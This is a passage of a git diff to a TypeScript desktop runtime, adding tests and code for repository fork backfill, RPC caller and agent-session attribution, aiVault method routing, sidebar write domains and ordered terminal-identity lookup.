 import { UnixSocketTransport } from './unix-socket-transport'
+import { acquire, release } from '../../github/gh-utils'
+import { RuntimeRepositoryForkBackfill } from '../repositories/runtime-repository-fork-backfill'
 
-vi.mock('../../repository-icons/repo-icon-autodetect', () => ({
-  detectRepoIconAndUpstream: vi.fn().mockResolvedValue({})
-}))
 vi.mock('../../workspaces/creation/worktree-root-preparation', () => ({
   prepareLocalWorktreeRootForRepo: vi.fn().mockResolvedValue(undefined)
 }))
 
+vi.mock('../../git/command-runner/gh-exec-file', () => ({
+  ghExecFileAsync: vi.fn(async () => ({ stdout: '{"isFork":false}' }))
+}))
+
 const cliPath = '../../../cli/index'
 const { main }: { main: (argv: string[], cwd: string) => Promise<void> } = await import(cliPath)
 const repoReply = z.object({
@@ -43,9 +46,19 @@ it('opens a repo-tool root through the CLI folder route and keeps subproject Git
     invalidateWorktreeScan: () => {},
     notifyReposChanged: () => {}
   })
+  const metadata = new RuntimeRepositoryForkBackfill(
+    () => store,
+    () => {}
+  )
+  let background = Promise.resolve()
+  let heldSlots = 0
   const dispatcher = repoDispatcher({
     getRuntimeId: () => 'repo-cli-test',
-    addRepo: (...args) => controller.add(...args),
+    addRepo: async (...args) => {
+      const repo = await controller.add(...args)
+      background = metadata.enqueue([repo])
+      return repo
+    },
     listVisibleRepos: () => repos,
     requireStore: () => store
   })
@@ -79,6 +92,11 @@ it('opens a repo-tool root through the CLI folder route and keeps subproject Git
       const git = runProcessSync({ program: 'git', args: ['init', '-q', path] })
       expect(git.code, git.stderr).toBe(0)
     }
+    const remote = runProcessSync({
+      program: 'git',
+      args: ['-C', project, 'remote', 'add', 'origin', 'https://github.com/me/widget.git']
+    })
+    expect(remote.code, remote.stderr).toBe(0)
     await socket.start()
     await writeFile(
       getRuntimeMetadataPath(root),
@@ -114,6 +132,10 @@ it('opens a repo-tool root through the CLI folder route and keeps subproject Git
     expect(repos).toHaveLength(1)
     expect(await cli(['repo', 'list'])).toMatchObject({ result: { repos: [first] } })
 
+    for (let slot = 0; slot < 4; slot++) {
+      await acquire()
+      heldSlots++
+    }
     const subproject = repoReply.parse(
       await cli(['repo', 'add', '--path', project, '--kind', 'git'])
     ).result.repo
@@ -122,6 +144,19 @@ it('opens a repo-tool root through the CLI folder route and keeps subproject Git
       normalizeRuntimePathForComparison(project)
     )
     expect(subproject.kind).toBe('git')
+    expect(await cli(['repo', 'list'])).toMatchObject({
+      result: {
+        repos: [
+          expect.objectContaining({ id: first.id }),
+          expect.objectContaining({ id: subproject.id })
+        ]
+      }
+    })
+    while (heldSlots > 0) {
+      release()
+      heldSlots--
+    }
+    await background
     expect(repos).toHaveLength(2)
 
     const beforeInvalid = requests.length
@@ -132,6 +167,11 @@ it('opens a repo-tool root through the CLI folder route and keeps subproject Git
     expect(requests).toHaveLength(beforeInvalid)
     expect(repos).toHaveLength(2)
   } finally {
+    while (heldSlots > 0) {
+      release()
+      heldSlots--
+    }
+    await background
     await socket.stop()
     vi.unstubAllEnvs()
     process.exitCode = previousExitCode
diff --git a/src/main/runtime/rpc/rpc-active-caller.ts b/src/main/runtime/rpc/rpc-active-caller.ts
index 51b324d3993..975ec4fbdcc 100644
--- a/src/main/runtime/rpc/rpc-active-caller.ts
+++ b/src/main/runtime/rpc/rpc-active-caller.ts
@@ -1,14 +1,40 @@
 import { AsyncLocalStorage } from 'node:async_hooks'
-import type { RpcCallerIdentity } from './rpc-caller-identity'
+import { isOrcaSessionId } from '../../../shared/orca-session-address'
+import { isAgentRpcCaller, type RpcCallerIdentity } from './rpc-caller-identity'
+
+type ActiveRpcCall = {
+  caller: RpcCallerIdentity | undefined
+  agentSessionId: string | undefined
+}
 
 // Lets code far below a handler tell an agent's CLI call from a person's relayed input.
-const activeCaller = new AsyncLocalStorage<RpcCallerIdentity | undefined>()
+const activeCall = new AsyncLocalStorage<ActiveRpcCall>()
 
-export function runWithActiveRpcCaller<T>(caller: RpcCallerIdentity | undefined, run: () => T): T {
-  return activeCaller.run(caller, run)
+export function runWithActiveRpcCaller<T>(
+  caller: RpcCallerIdentity | undefined,
+  run: () => T,
+  claimedAgentSessionId?: string
+): T {
+  // Only this host's CLI can name a chat here; as in the handoff card, other callers act for a person.
+  const agentSessionId =
+    isAgentRpcCaller(caller) && claimedAgentSessionId && isOrcaSessionId(claimedAgentSessionId)
+      ? claimedAgentSessionId
+      : undefined
+  return activeCall.run({ caller, agentSessionId }, run)
 }
 
 /** The caller of the RPC handler this code runs under; undefined outside any handler. */
 export function getActiveRpcCaller(): RpcCallerIdentity | undefined {
-  return activeCaller.getStore()
+  return activeCall.getStore()?.caller
+}
+
+/** The chat whose agent sent this call, as its CLI claims it: display attribution, never authority. */
+export function getActiveRpcAgentSessionId(): string | undefined {
+  return activeCall.getStore()?.agentSessionId
+}
+
+/** Re-enters this call later, for work a queue runs from inside another caller's call. */
+export function captureActiveRpcCall(): <T>(run: () => T) => T {
+  const call = activeCall.getStore()
+  return (run) => (call ? activeCall.run(call, run) : activeCall.exit(run))
 }
diff --git a/src/main/runtime/rpc/rpc-request-admission-prologue.ts b/src/main/runtime/rpc/rpc-request-admission-prologue.ts
index ee6560cea66..fa0deb52116 100644
--- a/src/main/runtime/rpc/rpc-request-admission-prologue.ts
+++ b/src/main/runtime/rpc/rpc-request-admission-prologue.ts
@@ -23,6 +23,7 @@ import {
   resolveOrchestrationSessionCaller,
   type ResolvedOrchestrationRequest
 } from './orchestration-session-caller'
+import { admitOrchestrationPeerCall } from './orchestration-peer-caller'
 
 type RpcRequestAdmissionDeps = {
   runtime: OrcaRuntimeService
@@ -59,6 +60,13 @@ export function admitRpcRequest<M extends RpcMethod | RpcStreamingMethod>(
     return reject(migrationFence)
   }
 
+  let peer: ReturnType<typeof admitOrchestrationPeerCall>
+  try {
+    peer = admitOrchestrationPeerCall(runtime, rawRequest, method, options)
+  } catch (error) {
+    return reject(mapDispatcherError(rawRequest, meta, error))
+  }
+
   const admitResolved = ({ request, caller }: ResolvedOrchestrationRequest) => {
     const parsedParams = parseRpcRequestParams(request, method, meta)
     if (parsedParams.error) {
@@ -76,6 +84,9 @@ export function admitRpcRequest<M extends RpcMethod | RpcStreamingMethod>(
     }
     return { method, request, caller, params: parsedParams.value }
   }
+  if (peer) {
+    return admitResolved(peer)
+  }
   // Resolve once before parse and unary/streaming branching so both see the same caller.
   const callerField = method.orchestrationAccess?.caller
   return needsOrchestrationCallerResolution(rawRequest, callerField)
diff --git a/src/main/runtime/rpc/server/runtime-rpc-client-connection-log.test.ts b/src/main/runtime/rpc/server/runtime-rpc-client-connection-log.test.ts
deleted file mode 100644
index 5e00fe47b5d..00000000000
--- a/src/main/runtime/rpc/server/runtime-rpc-client-connection-log.test.ts
+++ /dev/null
@@ -1,24 +0,0 @@
-import { expect, it } from 'vitest'
-import { describeClientConnection } from './runtime-rpc-client-connection-log'
-
-it('names the connecting device without its credentials', () => {
-  const described = describeClientConnection({
-    connectionId: 'conn-1',
-    transport: { transport: 'direct' },
-    device: {
-      deviceId: 'device-1',
-      scope: 'mobile',
-      clientId: 'bearer-secret',
-      callerFingerprint: 'fingerprint',
-      credentialRevision: 1,
-      deviceToken: 'token-secret'
-    }
-  })
-
-  expect(described).toEqual({
-    deviceId: 'device-1',
-    scope: 'mobile',
-    transport: 'direct',
-    connectionId: 'conn-1'
-  })
-})
diff --git a/src/main/runtime/rpc/server/runtime-rpc-mobile-method-routing.ts b/src/main/runtime/rpc/server/runtime-rpc-mobile-method-routing.ts
index 937d3cf7482..aad41f99239 100644
--- a/src/main/runtime/rpc/server/runtime-rpc-mobile-method-routing.ts
+++ b/src/main/runtime/rpc/server/runtime-rpc-mobile-method-routing.ts
@@ -16,6 +16,12 @@ export const EXECUTION_HOST_METHODS = [
   'agentActivity.setRead',
   'agentTeams.prepareLaunch',
   'agentTeams.tmuxCompat',
+  // Transcripts live on the host that ran the agent, which is also where resume launches it.
+  'aiVault.listSessions',
+  'aiVault.prepareSessionResume',
+  'aiVault.resolveSessionTitles',
+  'aiVault.searchSessions',
+  'aiVault.searchStatus',
   'automation.list',
   'automation.show',
   'automation.create',
diff --git a/src/main/runtime/rpc/server/runtime-rpc-mobile-paired-desktop-methods.ts b/src/main/runtime/rpc/server/runtime-rpc-mobile-paired-desktop-methods.ts
index 945761935cd..12b4c117365 100644
--- a/src/main/runtime/rpc/server/runtime-rpc-mobile-paired-desktop-methods.ts
+++ b/src/main/runtime/rpc/server/runtime-rpc-mobile-paired-desktop-methods.ts
@@ -97,12 +97,6 @@ export const PAIRED_DESKTOP_METHODS = [
   'github.project.updatePullRequestBySlug',
   'github.project.viewTable',
   'github.project.workItemDetailsBySlug',
-  // Desktop main federates session history across hosts itself (executionHostId / scope params).
-  'aiVault.listSessions',
-  'aiVault.prepareSessionResume',
-  'aiVault.resolveSessionTitles',
-  'aiVault.searchSessions',
-  'aiVault.searchStatus',
   // User preferences live on the Mac; the phone's settings screens mirror the desktop's.
   'settings.get',
   'settings.getTerminalQuickCommands',
diff --git a/src/main/runtime/session-graph/session-window-graph.ts b/src/main/runtime/session-graph/session-window-graph.ts
index 1b9eb188010..0b69ae28946 100644
--- a/src/main/runtime/session-graph/session-window-graph.ts
+++ b/src/main/runtime/session-graph/session-window-graph.ts
@@ -275,6 +275,9 @@ export abstract class OrcaRuntimeWithSyncWindowGraph extends OrcaRuntimeWithAdmi
     }
     for (const leaf of this.leaves.values()) {
       this.adoptPreAllocatedHandle(leaf)
+      if (leaf.ptyId && this._orchestrationDb?.hasAnyDispatchContexts()) {
+        this.issueHandle(leaf)
+      }
       const previousLeaf = previousLeaves.get(this.getLeafKey(leaf.tabId, leaf.leafId))
       // A pane newly showing a terminal can bind it to the pane's Run or Dispatch mailbox.
       if (
diff --git a/src/main/runtime/sidebar-inputs/orca-runtime-sidebar-temporal.ts b/src/main/runtime/sidebar-inputs/orca-runtime-sidebar-temporal.ts
index 121339898d9..86fcae7ae67 100644
--- a/src/main/runtime/sidebar-inputs/orca-runtime-sidebar-temporal.ts
+++ b/src/main/runtime/sidebar-inputs/orca-runtime-sidebar-temporal.ts
@@ -29,7 +29,7 @@ import {
 } from '../../../shared/worktree/host-qualified-identity'
 import { anySleepKeyNames } from '../terminal/stop/worktree-terminal-sleep-key'
 import { resolveAgentWorkspaceExecutionHostId } from '../../agent-hooks/observations/restored-status-dead-terminal-sweep'
-import { WORKTREE_METADATA_DOMAINS } from '../../persistence/loading-store/worktree-identity-metadata'
+import { WORKSPACE_RECORD_DOMAINS } from '../../persistence/profile-save-domains'
 import {
   isWslMoveProjectBlocked,
   wslMoveProjectRefForWorkspace
@@ -106,7 +106,7 @@ export abstract class OrcaRuntimeWithSidebarTemporal extends OrcaRuntimeWithDete
     )
     // Every unread write (window, phone, CLI, activation) lands in a record; a Done may re-tier.
     this.store?.onStateWritten?.((domains) => {
-      if (domains === undefined || WORKTREE_METADATA_DOMAINS.some((d) => domains.includes(d))) {
+      if (domains === undefined || WORKSPACE_RECORD_DOMAINS.some((d) => domains.includes(d))) {
         this.sortStamps.noteRecordsWritten()
       }
     })
diff --git a/src/main/runtime/sidebar-inputs/orca-runtime-sort-stamps.test.ts b/src/main/runtime/sidebar-inputs/orca-runtime-sort-stamps.test.ts
index 747518ed768..433d6fa952e 100644
--- a/src/main/runtime/sidebar-inputs/orca-runtime-sort-stamps.test.ts
+++ b/src/main/runtime/sidebar-inputs/orca-runtime-sort-stamps.test.ts
@@ -2,8 +2,10 @@
 import { describe, expect, it, vi } from 'vitest'
 import { HEADLESS_RUNTIME_WINDOW_ID } from '../../../shared/runtime-session-contracts'
 import type { WorktreeMeta } from '../../../shared/worktree/meta-types'
+import type { FolderWorkspace } from '../../../shared/folder-workspaces/folder-workspace-types'
 import { AgentHookServer } from '../../agent-hooks/server/agent-hook-server'
 import { OrcaRuntimeService } from '../orca-runtime'
+import { folderWorkspaceKey } from '../../../shared/workspace-scope'
 import {
   hostWorktreeTarget,
   type HostWorktreeTarget
@@ -17,11 +19,29 @@ import {
 vi.mock('../../../shared/sidebar-inputs-switch', () => ({ ORCA_SIDEBAR_INPUTS_IS_MAIN: true }))
 
 const WT = 'repo-1::/tmp/worktree-a'
+const FOLDER_ID = 'fw-1'
 
 function createHeadlessRuntime(
-  stored: Pick<WorktreeMeta, 'lastActivityAt' | 'smartTier' | 'smartAt'> = { lastActivityAt: 0 }
+  stored: Pick<WorktreeMeta, 'lastActivityAt' | 'smartTier' | 'smartAt'> = { lastActivityAt: 0 },
+  workspaceId = WT
 ) {
   const meta: Record<string, WorktreeMeta> = { [WT]: storeWorktreeMeta(stored) }
+  // A folder workspace keeps its stamps and unread flag on its own record.
+  const folder: FolderWorkspace = {
+    id: FOLDER_ID,
+    projectGroupId: 'group-1',
+    name: 'Folder',
+    folderPath: '/tmp/folder-a',
+    linkedTask: null,
+    comment: '',
+    isArchived: false,
+    isUnread: false,
+    isPinned: false,
+    sortOrder: 0,
+    createdAt: 0,
+    updatedAt: 0,
+    ...stored
+  }
   const written = new Set<(domains: readonly string[] | undefined) => void>()
   const repo = storeRepo({ id: 'repo-1', path: '/tmp/repo-1', connectionId: null })
   const store = {
@@ -36,6 +56,13 @@ function createHeadlessRuntime(
       written.forEach((listener) => listener(['worktreeMeta']))
       return meta[id]
     },
+    getFolderWorkspace: (id: string) => (id === FOLDER_ID ? folder : undefined),
+    getFolderWorkspaces: () => [folder],
+    updateFolderWorkspace: (_id: string, updates: Partial<FolderWorkspace>) => {
+      Object.assign(folder, updates)
+      written.forEach((listener) => listener(['folderWorkspaces']))
+      return folder
+    },
     onStateWritten: (listener: (domains: readonly string[] | undefined) => void) => {
       written.add(listener)
       return () => written.delete(listener)
@@ -45,12 +72,18 @@ function createHeadlessRuntime(
   // No window: a server with no client attached must still see its own bells and titles.
   runtime.syncWindowGraph(HEADLESS_RUNTIME_WINDOW_ID, {
     tabs: [
-      { tabId: 'tab-1', worktreeId: WT, title: 'Terminal', activeLeafId: 'pane:1', layout: null }
+      {
+        tabId: 'tab-1',
+        worktreeId: workspaceId,
+        title: 'Terminal',
+        activeLeafId: 'pane:1',
+        layout: null
+      }
     ],
     leaves: [
       {
         tabId: 'tab-1',
-        worktreeId: WT,
+        worktreeId: workspaceId,
         leafId: 'pane:1',
         paneRuntimeId: 1,
         ptyId: 'pty-1',
@@ -58,7 +91,13 @@ function createHeadlessRuntime(
       }
     ]
   })
-  return { runtime, meta, setWorktreeMeta: store.setWorktreeMeta }
+  return {
+    runtime,
+    meta,
+    folder,
+    setWorktreeMeta: store.setWorktreeMeta,
+    updateFolderWorkspace: store.updateFolderWorkspace
+  }
 }
 
 describe('host sort stamps on a headless runtime', () => {
@@ -115,31 +154,42 @@ describe('host sort stamps on a headless runtime', () => {
     })
   })
 
-  it('re-tiers a read Done beside a Working pane when any writer clears the flag', () => {
-    vi.useFakeTimers({ now: 80_000 })
-    try {
-      const { runtime, meta, setWorktreeMeta } = createHeadlessRuntime()
-      const server = new AgentHookServer()
-      runtime.attachAgentStatusStore(server)
-      const pane = (id: string, state: 'working' | 'done'): void =>
-        server.ingestTerminalStatus({
-          paneKey: `tab-1:${id}`,
-          tabId: 'tab-1',
-          worktreeId: WT,
-          payload: { state, prompt: 'task', agentType: 'claude' }
-        })
-      pane('11111111-1111-4111-8111-111111111111', 'working')
-      vi.setSystemTime(90_000)
-      pane('22222222-2222-4222-8222-222222222222', 'working')
-      vi.setSystemTime(100_000)
-      pane('11111111-1111-4111-8111-111111111111', 'done')
-      expect(meta[WT]).toMatchObject({ isUnread: true, smartTier: 'done', smartAt: 100_000 })
+  it.each(['worktree', 'folder'] as const)(
+    're-tiers a read Done beside a Working pane when any writer clears the %s flag',
+    (kind) => {
+      vi.useFakeTimers({ now: 80_000 })
+      try {
+        const workspaceId = kind === 'folder' ? folderWorkspaceKey(FOLDER_ID) : WT
+        const { runtime, meta, folder, setWorktreeMeta, updateFolderWorkspace } =
+          createHeadlessRuntime(undefined, workspaceId)
+        const record = (): Pick<WorktreeMeta, 'isUnread' | 'smartTier' | 'smartAt'> =>
+          kind === 'folder' ? folder : meta[WT]
+        const server = new AgentHookServer()
+        runtime.attachAgentStatusStore(server)
+        const pane = (id: string, state: 'working' | 'done'): void =>
+          server.ingestTerminalStatus({
+            paneKey: `tab-1:${id}`,
+            tabId: 'tab-1',
+            worktreeId: workspaceId,
+            payload: { state, prompt: 'task', agentType: 'claude' }
+          })
+        pane('11111111-1111-4111-8111-111111111111', 'working')
+        vi.setSystemTime(90_000)
+        pane('22222222-2222-4222-8222-222222222222', 'working')
+        vi.setSystemTime(100_000)
+        pane('11111111-1111-4111-8111-111111111111', 'done')
+        expect(record()).toMatchObject({ isUnread: true, smartTier: 'done', smartAt: 100_000 })
 
-      // A client opened it (the window's metadata write, a phone, workspace activation).
-      setWorktreeMeta(hostWorktreeTarget({ id: WT, hostId: 'local' }), { isUnread: false })
-      expect(meta[WT]).toMatchObject({ isUnread: false, smartTier: 'working', smartAt: 90_000 })
-    } finally {
-      vi.useRealTimers()
+        // A client opened it (the window's metadata write, a phone, workspace activation).
+        if (kind === 'folder') {
+          updateFolderWorkspace(FOLDER_ID, { isUnread: false })
+        } else {
+          setWorktreeMeta(hostWorktreeTarget({ id: WT, hostId: 'local' }), { isUnread: false })
+        }
+        expect(record()).toMatchObject({ isUnread: false, smartTier: 'working', smartAt: 90_000 })
+      } finally {
+        vi.useRealTimers()
+      }
     }
-  })
+  )
 })
diff --git a/src/main/runtime/sidebar-inputs/sidebar-inputs-feed-domains.ts b/src/main/runtime/sidebar-inputs/sidebar-inputs-feed-domains.ts
index 569ec936e67..ff0304fd5fa 100644
--- a/src/main/runtime/sidebar-inputs/sidebar-inputs-feed-domains.ts
+++ b/src/main/runtime/sidebar-inputs/sidebar-inputs-feed-domains.ts
@@ -6,7 +6,10 @@ import { getWslHostService } from '../../wsl/host-lifecycle/wsl-host-service-ins
 import type { RuntimeClientEvent } from '../../../shared/runtime-client-events'
 import type { DesktopSidebarFacts } from '../../../shared/sidebar-list/desktop-sidebar-facts'
 import type { RuntimeStore } from '../construction/runtime-store-contract'
-import { WORKTREE_METADATA_DOMAINS } from '../../persistence/loading-store/worktree-identity-metadata'
+import {
+  savedWorkspaceCatalog,
+  WORKTREE_METADATA_DOMAINS
+} from '../../persistence/profile-save-domains'
 import type { PersistedUIState } from '../../../shared/persisted-ui-state-types'
 import type { OrcaRuntimeWithSidebarTemporal } from './orca-runtime-sidebar-temporal'
 import type { PairedServerRowsProducer } from './paired-server-rows-producer'
@@ -227,11 +230,11 @@ export function sidebarInputsFeedDomains(
         const detaches = [
           watchCatalog(changed),
           store?.onWorkspaceSessionWritten?.(() => changed()),
-          // Pins, settings (saved with or without notifying), UI, and full saves (repos, folders, SSH).
+          // Pins, settings (saved with or without notifying), UI, and catalog saves (repos, folders, SSH).
           store?.onStateWritten?.((domains) => {
             if (
-              domains === undefined ||
-              DESKTOP_WRITE_DOMAINS.some((domain) => domains.includes(domain))
+              savedWorkspaceCatalog(domains) ||
+              DESKTOP_WRITE_DOMAINS.some((domain) => domains?.includes(domain))
             ) {
               changed(urgent)
             }
@@ -260,9 +263,9 @@ export function sidebarInputsFeedDomains(
           pairedServerRows.revision.onChange(changed),
           // Manual repo order and project order live in the UI state.
           sources.store()?.onUIChanged?.(() => changed()),
-          // Catalog writes are full saves, and some (a project rename) announce no event.
+          // Some catalog writes (a project rename) announce no event.
           sources.store()?.onStateWritten?.((domains) => {
-            if (domains === undefined) {
+            if (savedWorkspaceCatalog(domains)) {
               changed()
             }
           })
diff --git a/src/main/runtime/sidebar-inputs/workspace-rows-producer.ts b/src/main/runtime/sidebar-inputs/workspace-rows-producer.ts
index ebe5645ded3..0418b5c04f5 100644
--- a/src/main/runtime/sidebar-inputs/workspace-rows-producer.ts
+++ b/src/main/runtime/sidebar-inputs/workspace-rows-producer.ts
@@ -13,7 +13,10 @@ import type {
   ResolvedWorktreeRepoScans,
   ResolvedWorktreeScanJoin
 } from '../workspaces/catalog/resolved-worktree-scan-join'
-import { WORKTREE_METADATA_DOMAINS } from '../../persistence/loading-store/worktree-identity-metadata'
+import {
+  savedWorkspaceCatalog,
+  WORKTREE_METADATA_DOMAINS
+} from '../../persistence/profile-save-domains'
 import { ProducerRevision } from './producer-revision'
 import { WorkspaceGitIdentity } from './workspace-git-identity'
 import { CachedScan } from './cached-scan'
@@ -97,11 +100,11 @@ export class WorkspaceRowsProducer {
       },
       { consumesTerminalSideEffects: false }
     )
-    // A full save may be a folder workspace or lineage write.
+    // Folder workspace and lineage writes are catalog saves.
     sources.store?.onStateWritten?.((domains) => {
       const metadata =
-        domains === undefined ||
-        WORKTREE_METADATA_DOMAINS.some((domain) => domains.includes(domain))
+        savedWorkspaceCatalog(domains) ||
+        WORKTREE_METADATA_DOMAINS.some((domain) => domains?.includes(domain))
       const settings = domains !== undefined && domains.includes('settings')
       if (metadata || (settings && this.visibilitySettingsChanged())) {
         // Urgent, and no rescan: metadata joins at read, so the write publishes now from the cache.
diff --git a/src/main/runtime/terminal/driver/terminal-driver-resources.ts b/src/main/runtime/terminal/driver/terminal-driver-resources.ts
index c9655ef980e..3cbe25f462c 100644
--- a/src/main/runtime/terminal/driver/terminal-driver-resources.ts
+++ b/src/main/runtime/terminal/driver/terminal-driver-resources.ts
@@ -43,6 +43,7 @@ import { RuntimeWorktreeBaseReconciliation } from '../../workspaces/metadata/run
 import { RuntimeWorktreeRemovalInFlight } from '../../workspaces/removal/runtime-worktree-removal-in-flight'
 import { ServeBrowserTabs } from '../../browser/headless/serve-browser-tabs'
 import { readBrowserTabBar } from '../../browser/tabs/browser-tab-listing'
+import { readSavedBrowserPageAnnotations } from '../../browser/tabs/browser-tab-annotations'
 import { parseWorkspaceKey } from '../../../../shared/workspace-scope'
 import { getRepoIdFromWorktreeId } from '../../../../shared/worktree/id'
 import type { ServeBrowserPageState } from '../../browser/headless/serve-browser-tab-layout'
@@ -201,6 +202,8 @@ export abstract class OrcaRuntimeWithTerminalDrivers extends OrcaRuntimeWithFitO
       markHeadlessBrowserSessionTabActive: this.markHeadlessBrowserSessionTabActive.bind(this),
       notifyHeadlessBrowserSessionTabsChanged: (worktreeId) =>
         this.notifyMobileSessionTabsChanged(worktreeId),
+      readBrowserPageAnnotations: (browserPageId) =>
+        readSavedBrowserPageAnnotations(this.store, browserPageId),
       readBrowserTabBar: (worktreeId) =>
         readBrowserTabBar(this.mobileSessionTabsByWorktree, worktreeId, (id) => {
           // Why: an SSH host's bridged workspace may have no row here, yet its pages render in this window.
diff --git a/src/main/runtime/terminal/identity/ordered-terminal-candidates.ts b/src/main/runtime/terminal/identity/ordered-terminal-candidates.ts
new file mode 100644
index 00000000000..fadd064dd80
--- /dev/null
+++ b/src/main/runtime/terminal/identity/ordered-terminal-candidates.ts
@@ -0,0 +1,61 @@
+/** Ordered membership only; the canonical source still owns records and validation. */
+export class OrderedTerminalCandidates {
+  private readonly entries = new Map<string, { keys: readonly string[]; position: bigint }>()
+  private readonly byKey = new Map<string, string[]>()
+  private nextPosition = 0n
+
+  first(handle: string): string | undefined {
+    return this.byKey.get(handle)?.[0]
+  }
+
+  matching(keys: readonly string[]): string[] {
+    return [...new Set(keys.flatMap((key) => this.byKey.get(key) ?? []))].sort((a, b) => {
+      const left = this.entries.get(a)!.position
+      const right = this.entries.get(b)!.position
+      return left < right ? -1 : left > right ? 1 : 0
+    })
+  }
+
+  set(id: string, key: string | readonly string[]): void {
+    const keys = typeof key === 'string' ? [key] : key
+    const previous = this.entries.get(id)
+    if (
+      previous?.keys.length === keys.length &&
+      previous.keys.every((value, index) => value === keys[index])
+    ) {
+      return
+    }
+    const position = previous?.position ?? this.nextPosition++
+    this.delete(id)
+    this.entries.set(id, { keys, position })
+    for (const address of keys) {
+      const bucket = this.byKey.get(address) ?? []
+      let index = bucket.length
+      while (index > 0 && this.entries.get(bucket[index - 1])!.position > position) {
+        index--
+      }
+      bucket.splice(index, 0, id)
+      this.byKey.set(address, bucket)
+    }
+  }
+
+  delete(id: string): void {
+    const previous = this.entries.get(id)
+    if (!previous) {
+      return
+    }
+    for (const key of previous.keys) {
+      const bucket = this.byKey.get(key)!
+      bucket.splice(bucket.indexOf(id), 1)
+      if (bucket.length === 0) {
+        this.byKey.delete(key)
+      }
+    }
+    this.entries.delete(id)
+  }
+
+  clear(): void {
+    this.entries.clear()
+    this.byKey.clear()
+  }
+}
diff --git a/src/main/runtime/terminal/identity/terminal-identity-placement-schedules.test.ts b/src/main/runtime/terminal/identity/terminal-identity-placement-schedules.test.ts
index d5d09002d70..07849a219f0 100644
--- a/src/main/runtime/terminal/identity/terminal-identity-placement-schedules.test.ts
+++ b/src/main/runtime/terminal/identity/terminal-identity-placement-schedules.test.ts
@@ -99,3 +99,30 @@ it('discovers the actual restored placement only after layout apply and re-reads
     watched.close()
   }
 })
+
+it('keeps current pane selection ordered across rebinds and detached same-ID writes', () => {
+  const f = identityFixture()
+  const suffix = PANE.slice(PANE.indexOf(':'))
+  const otherPane = `tab-other${suffix}`
+  f.add('pty-first', 'term_first', otherPane, false)
+  f.add('pty-second', 'term_second', PANE, true)
+  const first = f.owner.ptysById.get('pty-first')!
+  const second = f.owner.ptysById.get('pty-second')!
+  expect(f.owner.getPtyRecordForPaneKey(PANE)).toBe(second)
+  f.owner.setPtyConnected(first, true)
+  expect(f.owner.getPtyRecordForPaneKey(PANE)).toBe(first)
+  f.owner.setPtyConnected(first, false)
+  f.owner.setPtyConnected(second, false)
+  expect(f.owner.getPtyRecordForPaneKey(PANE)).toBe(second)
+
+  const movedPane = 'tab-moved:bbbbbbbb-bbbb-4bbb-8bbb-bbbbbbbbbbbb'
+  f.owner.source.setRecordedSurface(second, 'tab-moved', movedPane, 1)
+  expect(f.owner.getPtyRecordForPaneKey(movedPane)).toBe(second)
+  expect(f.owner.getPtyRecordForPaneKey(PANE)).toBe(first)
+  const replacement = f.owner.source.createPty({ ...second, paneKey: PANE })
+  f.owner.source.setRecordedSurface(second, 'tab-detached', movedPane, 2)
+  expect(f.owner.getPtyRecordForPaneKey(movedPane)).toBeNull()
+  expect(f.owner.getPtyRecordForPaneKey(PANE)).toBe(replacement)
+  f.owner.source.removePty('pty-second')
+  expect(f.owner.getPtyRecordForPaneKey(PANE)).toBe(first)
+})
diff --git a/src/main/runtime/terminal/identity/terminal-identity-schedules.test.ts b/src/main/runtime/terminal/identity/terminal-identity-schedules.test.ts
index e6727f0b341..814549959c6 100644
--- a/src/main/runtime/terminal/identity/terminal-identity-schedules.test.ts
+++ b/src/main/runtime/terminal/identity/terminal-identity-schedules.test.ts
@@ -1,6 +1,7 @@
 import { expect, it } from 'vitest'
 import { identityFixture, identityGraph, LEAF, PANE } from '../query/terminal-identity.test-fixture'
 import { TEST_WORKTREE_ID } from '../../orca-runtime-tests/orca-runtime-test-fixtures.spec'
+import { OrchestrationDb } from '../../orchestration/db/orchestration-db'
 
 it('retains pane-issued process identity across reload with exact first-match and SSH precedence in either context', () => {
   for (const captured of [false, true]) {
@@ -83,3 +84,58 @@ it('retains pane-issued process identity across reload with exact first-match an
     }
   }
 })
+
+it('keeps the displayed leaf worker ahead of retained PTYs after a dispatch refresh', () => {
+  const f = identityFixture()
+  const db = new OrchestrationDb(':memory:')
+  try {
+    f.add('retained', 'old-worker', PANE, false)
+    f.stamp('old-worker', 'retained')
+    f.runtime.registerPty('current', TEST_WORKTREE_ID, null, {
+      tabId: 'tab-original',
+      leafId: LEAF,
+      incarnationId: 'current'
+    })
+    f.runtime.attachWindow(1)
+    f.runtime.syncWindowGraph(1, identityGraph('current'))
+    const current = f.runtime.getTerminalHandleForPaneKey(PANE)!
+    const run = db.createRun({
+      objective: 'Displayed worker',
+      coordinatorHandle: null,
+      coordinatorPaneKey: null
+    })
+    const retained = db.createDispatchContext({
+      taskId: db.createTask({ runId: run.id, spec: 'Old worker' }).id,
+      assigneeHandle: 'old-worker',
+      assigneePaneKey: 'tab-retained:bbbbbbbb-bbbb-4bbb-8bbb-bbbbbbbbbbbb',
+      creator: { kind: 'system' },
+      maxDepth: 99
+    })
+    const displayed = db.createDispatchContext({
+      taskId: db.createTask({ runId: run.id, spec: 'Current worker' }).id,
+      assigneeHandle: current,
+      assigneePaneKey: PANE,
+      creator: { kind: 'system' },
+      maxDepth: 99
+    })
+    db.db
+      .prepare('UPDATE dispatch_contexts SET assignee_pane_key = ? WHERE id = ?')
+      .run(PANE, retained.id)
+    f.runtime.setOrchestrationDb(db)
+    expect(
+      f.runtime.syncWindowGraph(1, identityGraph('current')).agentOrchestrationByPaneKey?.[PANE]
+        ?.dispatchId
+    ).toBe(displayed.id)
+    f.owner.source.setPtyConnected(f.owner.ptysById.get('current')!, false)
+    db.db.prepare('UPDATE dispatch_contexts SET failure_count = 1 WHERE id = ?').run(retained.id)
+    expect(
+      f.runtime.syncWindowGraph(1, identityGraph('current')).agentOrchestrationByPaneKey?.[PANE]
+        ?.dispatchId
+    ).toBe(displayed.id)
+    expect(f.runtime.getAgentStatusOrchestrationContextForPaneKey(PANE)?.dispatchId).toBe(
+      displayed.id
+    )
+  } finally {
+    db.close()
+  }
+})
diff --git a/src/main/runtime/terminal/identity/terminal-identity-source.ts b/src/main/runtime/terminal/identity/terminal-identity-source.ts
index dfcd5dcaf90..499245f4e37 100644
--- a/src/main/runtime/terminal/identity/terminal-identity-source.ts
+++ b/src/main/runtime/terminal/identity/terminal-identity-source.ts
@@ -5,7 +5,9 @@ import type {
 } from '../records/runtime-terminal-state-records'
 import type { TerminalHandleRecord, PtyIncarnationHandleRecord } from './terminal-handle-records'
 
-import { TerminalIncarnationCandidates } from './terminal-incarnation-candidates'
